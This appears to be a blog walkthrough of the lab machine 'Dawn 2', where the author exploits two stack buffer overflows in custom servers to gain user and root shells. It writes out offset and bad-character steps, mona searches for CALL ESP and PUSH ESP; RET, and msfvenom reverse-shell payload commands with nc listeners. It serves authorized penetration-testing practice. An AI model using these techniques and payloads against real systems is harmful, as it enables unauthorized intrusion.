Proving Grounds Play —Dawn 2 Walkthrough

Leandro B.
17 min readAug 12, 2022

--

In this article I will be covering a Proving Grounds Play machine which is called “Dawn 2”. The objective is pretty simple, exploit the machine to get the User and Root flag, thus making us have control of the compromised system, like every other Proving Grounds machine.

What is Proving Grounds?
The Offensive Security Proving Grounds (PG) are a modern network for practicing penetration testing skills on exploitable, real-world vectors.

You have 2 sections on PG for standalone machines, which are Play and Practice.
I’ve used PG Practice A LOT when I was doing my OSCP, and I can only recommend you guys to do it if you are doing or planning to do OSCP.

Before we continue, I need to mention that all the activities done here are done in a safe, controlled and authorized environment and for that matter, are legal.

Everything done in this article is for education purposes only. I take no responsibility if you use it.

…So, Let’s start!

Dawn2 is a very interesting box for those seeking a challenge regarding Buffer Overflow.
This machine has 2 buffer overflows, one for the user, and another one for the root.

It has a cool twist, in which we have to search for alternatives to JMP ESP instruction.
To do this machine, you should have a Windows VM that can run the 32-bit executables. In my case, I’ve used Windows 7 32-bit, and it worked just fine.

Also, in your Windows VM, you should have Immunity Debugger installed.
With a very brief introduction to the machine, we can now start the process of doing all the work to get the flags.

Enumeration

First we start by scanning the machine with the following nmap command:

nmap -T4 -A -p- <machineIP>

nmap scan

We see 3 ports available. A HTTP Server, and 2 other ports that we don’t know for certain what they are, either way, we are going to try to see what information we can get from them, and we will move on to try to exploit this machine.

For starters, let’s go to port 80 to see what’s going on.
Going to port 80, we get a webpage with a download link, and some information about the company being attacked previously by a supernatural force of some kind.

Port 80 of our target

Enumerating a bit further with Wappalyzer, we get the information that the Operative System is Debian, and that the web server is Apache 2.4.38.
Having the OS might be important for future reference.

Wappalyzer enumeration

After downloading the file from port 80 of that machine, we get an executable file, and a Read Me with instructions.

Download from the file in the webserver

The Read Me file has some instructions and explanation to what the executable is.

Read Me of DAWN Multi Server

So, it is a server that will receive a message. It will most likely bind to a local port and for us to fully deliver the message, we must append a NULL-Byte to the end of the string. Also, too many requests may crash the server.

By this time, and knowing that this box might be a Buffer Overflow challenge, we can assume that this will be our entry point. We can’t get any information from the 2 last ports, since they only serve the purpose, or appear to serve the purpose of receiving a message. You can’t grab a banner. You can however send too many requests and you will be disconnected from the port, so that tells us that it might be running this server in one of those ports. You can also try to send long strings to see what happens, and this results in the port closing because the application might have crashed.

Crashing the server hosted on port 1985

After a little bit, the port is back up

Server hosted on port 1985 back up

To get more information about which port this server will bind to in our local machine, we run wine to run the executable in Kali, and then we proceed to see what ports are being used.

With our Executable running, I will be using this command to get the ports being used on my local machine.

lsof -i -P -n

We can see that dawn.exe is bound to port 1985, which is a port that we got on our nmap scan.
We now can assume that the dawn.exe is the executable being used in port 1985 of our target, and we can craft an exploit based on that to get a reverse shell.

Before setting up our Windows VM to do this, let’s see what type of file are we dealing with by running the following command:

file dawn.exe

With this information, we can see that is a 32bit executable, so we will use a VM accordingly.

With all this enumeration done, we can now start our exploit crafting.

Fuzzing Script

So, before we begin the exploitation, fuzzing this server resulted in many outcomes due to the server being so unstable to many requests. Even with timeouts in between the requests.
The results varied from the size of the string that was needed to crash the server, and due to this instability of results, I did a very basic fuzzing that worked out, and I was able to work from there.
With that said, the script that I found to be the most stable to initiate the exploit is as follows:

So, in this script, we will be increasing the buff by 100 every time we want to test, and send it.
Pay closer attention to the nullByte variable being appended to the end of the string that we want to send.
Make sure that you change the IP to target the machine where you are running the dawn.exe

Crashing the server

With the script ready to go, let’s open Immunity, and open the dawn.exe in Immunity, it should look something like this(obviously with better quality):

If we keep incrementing our buff size in our script, when we get to 300, we will crash the application and overwrite EIP with 41’s, which is the hex representation of A.

Controlling the EIP

Now, we need to have the exact offset where the EIP is. For that, we will do the following command with the value 300, which is the value where the server crashes AND overwrites the EIP:

msf-pattern_create -l 300

This command will generate a string with a pattern. When we send this string to the dawn server and analyze what was written in the EIP with Immunity, we can then proceed to find the exact offset to control the EIP.
But first, we need to change our code to send this string instead of the A’s.
The code will be the following:

After changing the code, we execute the script and we check which value is written in the EIP

So, from the string that we’ve sent, the EIP is overwritten with 316A4130
We now have the information that we need to get the offset of the EIP and control it. For that, we will first execute the following command to get the offset:

msf-pattern_offset -l 300 -q 316A4130

The command will give us the exact result for the match of the offset, which will be 272.

We will now need to change our script to confirm that the offset is in fact right. For that, we will create 2 new variables for our input buffer variable, which will be EIP and offset.
EIP will have 4 B’s, which in hex will be represented by 42, that way we can check in Immunity if we have control over the EIP.
The offset variable will be to fill the rest of the buffer, we still need it to crash. We can get the value we need by adding up the buff and EIP variables and subtracting with 300.
After all that is done, we add the EIP and offset variable to the inputBuffer variable.
Obviously, you should automate this process, so whenever you make changes you don’t need to always add, subtract, etc. but I would strongly advise you to use it like this, at least for the time you are learning, as you have a feeling for why you need to subtract, add or do whatever.
The code should look something like this:

When we execute our script, our EIP is overwritten with 42, and we now have control over EIP, which is exactly what we wanted!

Expanding the Stack

Now that we have control over the EIP, we need to check if we can expand the stack to have more space for our exploit. We will need to make another change in our exploit, and we will attempt to add 300 more bytes to the stack. It should be more than enough for our exploit to run.
For that, we change the code and create a new variable, which we will add to our input buffer variable.
The code will look something like the following:

When we execute the code, we see in Immunity that there are a ton of D’s in our stack, which is an indication that we successfully expanded the stack, and that we might have enough space for our exploit.

Finding the Bad Characters

Now, it’s time to find the bad characters that would break our exploit. By default we will count the Null-Byte as a Bad Character, since in C, the Null-Byte is used to terminate a string, it will naturally break our exploit.
So, for that, we need to update our script to have the bad characters, and we need to send them in our input buffer.
The result of that change will be the following:

Now there are some ways that you can use to see if there are any bad characters. You can use a Mona script for that or you can follow the dump of the ESP and just use your eyes to identify a bad character.
In this article, I will be using the mona scripts, which is way faster and will save us a trip to the ophthalmologist.
Having that said, running mona to identify the bad characters returns the following output:

Basically, the only bad character that we need to worry about is the Null-Byte, other than that, there are no bad characters that would break our exploit.
If you by any chance don’t know how to use mona to identify the bad characters, please, refer to this documentation on how to do it, as it will safe you a lot of time:
https://pdfcoffee.com/hunting-bad-characters-with-mona-pdf-free.html

Jumping to the Stack

Now that we have the bad characters identified, we can now proceed to find a return address for our EIP that will lead our flow to ESP. For starters, we will attempt JMP ESP.
First, we find the opcode of JMP ESP with nasm shell:

JMP ESP opcode is FFE4, which we will transform into “\xff\xe4”.

You can use mona to find a return address, but I will do that part without the help of mona.
Now we hop into Immunity with the dawn.exe running or crashed and we will need to find a DLL or even the exe that has the memory protections disabled. For that, we run the following command:

!mona modules

We can see that dawn.exe has all the memory protections disabled, which is great, we can now find a return address with the JMP ESP instruction that we need.
With the following line of code, we will search for a pointer that will help us jump to our stack.

!mona find -s “\xff\xe4” -m “dawn.exe”

After running this code we see that it doesn’t return anything, meaning that we don’t have any JMP ESP instruction to work with.
There is a way to circumvent this inconvenience, which is instructions that are alternatives to JMP ESP.

In this amazing article: https://tahadraidia.com/posts/alternative-to-jmp-esp/ the author explains that we have 2 possible alternatives to the JMP ESP instruction, which are PUSH ESP; RET, and CALL ESP;

So, with this in mind, we translate the instructions to the hex equivalent, which for PUSH ESP; RET is “\x53\xc3” and for CALL ESP; is “\xff\xd4”. Now we run the same command in mona, but with one of the alternative instructions to JMP ESP

Exploiting the server

We have an address that we can use for our exploit in both alternatives.
Keep special attention to the bad characters in this phase as well, for example, if any of the instructions had a Null-Byte, we wouldn’t be able to use it, as it is a bad character, and would just break everything up.
We will be taking the address 0x34581777 to be used in our script.

Now having the address that we want to use in our EIP, we need to place it in our script. Take care that PUSH ESP; RET is noted in little endian, so our address will be translated to “\x77\x17\x58\x34”. What we did was reverse the order.

With this set, the final touch that we need for our script is the shell code. We will generate the shell code with msfvenom and we will generate it without any bad characters using the following command:

msfvenom -p linux/x86/shell_reverse_tcp lhost=<attacker ip address> lport=80 -f python -b ‘\x00’

The code generated by this script is the code that we’ll be using as our shell code. As a final touch, in our script, we will need to add some NOP slides, so that the first bytes of our shell code don’t get mangled on top of the stack.
The NOP or No Operation instruction can be added before the shell code variable with “\x90”.
Our final code should look something like this:

Before executing the script against our target, we will test it out in our environment to make sure it works. Not in the Windows VM, but in Linux.
For this, we will once again run wine, target our own kali machine, open a listener, and get the shell.
So, first things first, we use wine to run dawn.exe:

wine dawn.exe

We open a listener:

nc -nlvp 80

And we execute our script, and we get our shell back.

We now know for sure that our exploit is working, now all we need to do is change the target IP, open a listener, execute our script, and get the reverse shell.

Let’s upgrade our shell with python3, using the following code:

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

So, congratulations, the first phase of the machine is done, and we can get the flag in the following directory /home/dawn-daemon/

So, we begin now the challenge of getting the root flag in this machine.
First of all, we can look into our dawn user home directory, and we notice a dawn-beta executable.
This executable belongs to the root. Remember that in our previous enumeration we had 3 ports open, which were ports 80, 1435, and 1985. This executable can be the last that is open, and if it falls victim to a buffer overflow, we can get our root user this way.
Before doing this, we take a quick look with linpeas but we don’t find anything very interesting or that can help us escalate our privileges.
So let’s download this new exe with python3. For that, we start by opening an HTTP server in our target machine:

python3 -m http.server 8081

Then, on our kali machine, we use wget to download the file:

wget 192.168.58.12:8081/dawn-BETA.exe

Let’s do the same enumeration that we previously did for the first one to identify the port that the exe will bind to. We will once again use wine, and then lsof:

wine dawn-BETA.exe

lsof -i -P -n

And dawn-BETA is indeed binding to port 1435. That’s great news. If we check the file type, we will see that we have a 32-bit file, so we can use the previously used VM to attempt to exploit this server too.

So, we will repeat the same steps previously. Using the same fuzzing script, we will start with a buffer of 100.

If we check immunity on our VM, we can see that with this initial script we have our EIP full of A’s.

We will once again create a string with a pattern to see in which offset is the EIP located.

msf-pattern_create -l 100

We will use the following script with the pattern

When executing the script we get the following value on our EIP

We get the value “61413461” and to find the Offset we use the following command

msf-pattern_offset -l 100 -q 61413461

The EIP offset is at 13 and we will update our script with the following

After executing the script we can confirm that in Immunity we have control over EIP

Once again, we will check if it’s possible to expand the stack or not so we have more space to execute our shell code.
We can use the following modified script for that matter

We can expand the stack as we want, and we have 300 more bytes to work with, which is great.

Now, we will see if there are any bad characters that we need to be aware of.
We will attempt to identify bad characters, this time, we will look at the stack to try to identify them.

Running the script, we click on the ESP pointer, and we follow in dump.
With that, we check if any characters get truncated.

By looking at the dump of the stack we can see that no character gets truncated, so we know that there is no bad character besides the null byte.

We are almost done with this, let’s now see if we can find a way to jump into our Stack so we can execute our shell code.
We will try to do it with JMP ESP in case we can’t because there are no pointers, we will search for an alternative.

So, by now we know that JMP ESP translates to “\xff\xe4”, so to find a pointer. First, we need to find a module that doesn’t have memory protections, to do that we run the following command in Immunity:

!mona modules

We can see that we have dawn-BETA.exe to use since it has all the memory protections disabled.
We will now try to find the JMP ESP instruction in it by running the following command

!mona find -s “\xff\xe4” -m “dawn-BETA.exe”

We have no pointer for the JMP ESP instruction, so we will try to find the alternative instructions for it. We know that those instructions are PUSH ESP; RET “\x53\xc3” and CALL ESP; “\xff\xd4”.

So we use the following command for PUSH ESP; RET

!mona find -s “\x53\xc3” -m “dawn-BETA.exe”

We also find 0 pointers for this instruction.
So, with 1 alternative left to try, we use the following command for it:

!mona find -s “\xff\xd4” -m “dawn-BETA.exe”

From this last instruction, we find an available pointer. It doesn’t have the null byte character in its address, so we are sure that we can use it.
We will reverse the order of the bytes and use it in our script in the EIP variable as “\x13\x15\x50\x52”.

Now what’s left to do is to generate our shell code with msfvenom and change our script to run a reverse shell. Once again, we will first generate our shell code to target ETH0, which is our local interface, to test it on our kali. Then we will generate the shell code once again to target the TUN0 interface, which is the VPN one(At least in my case).
We will generate our shell code using the following command:

msfvenom -p linux/x86/shell_reverse_tcp lhost=eth0 lport=80 -f python -b ‘\x00’

We will change our script to have the shell code, the ip address of our machine where we will run the dawn-BETA.exe with wine, and our EIP to have the pointer that we got with mona.

We can run dawn-BETA.exe with wine with the following command

wine dawn-BETA.exe

Start a listener with the following command

nc -nlvp 80

And if we fire our script up, we should catch a reverse shell on our listener that is targeting our local machine.

So now, with the exploit tested on our local machine, what we will do is generate once again the shell code with the tun0(or with your interface where your VPN is) and change the shell code in our script.

msfvenom -p linux/x86/shell_reverse_tcp lhost=tun0 lport=80 -f python -b ‘\x00’

After you change the shell code and the IP address to the Dawn2 machine, go ahead, open a listener and fire the script.
You should get a reverse shell with root.

If you navigate to the root folder, you can get the flag, and you’ll be done with the machine.

I hope that you guys learned a little bit from this machine.
The good twist about this machine is the lack of the JMP ESP pointer to use, so it’s always good to know that we can use alternatives to it.
Honestly, I would say that Buffer Overflow is one of my favorite vulnerabilities to exploit since it involves a few low-level concepts and understanding.
There is a lot of content for you to train BoF in case you feel that you’re lacking the understanding about it.
You can do more machines in PG Play or Practise, or you can use Try Hack Me resources, which are very good!

--

--

Leandro B.
Leandro B.

Written by Leandro B.

PT🇵🇹 Penetration Tester/Ethical Hacker. OSCE3, OSEP, OSED, OSWE, OSCP, CRTP, OSWP, eMAPT and eJPT Certified.

Responses (1)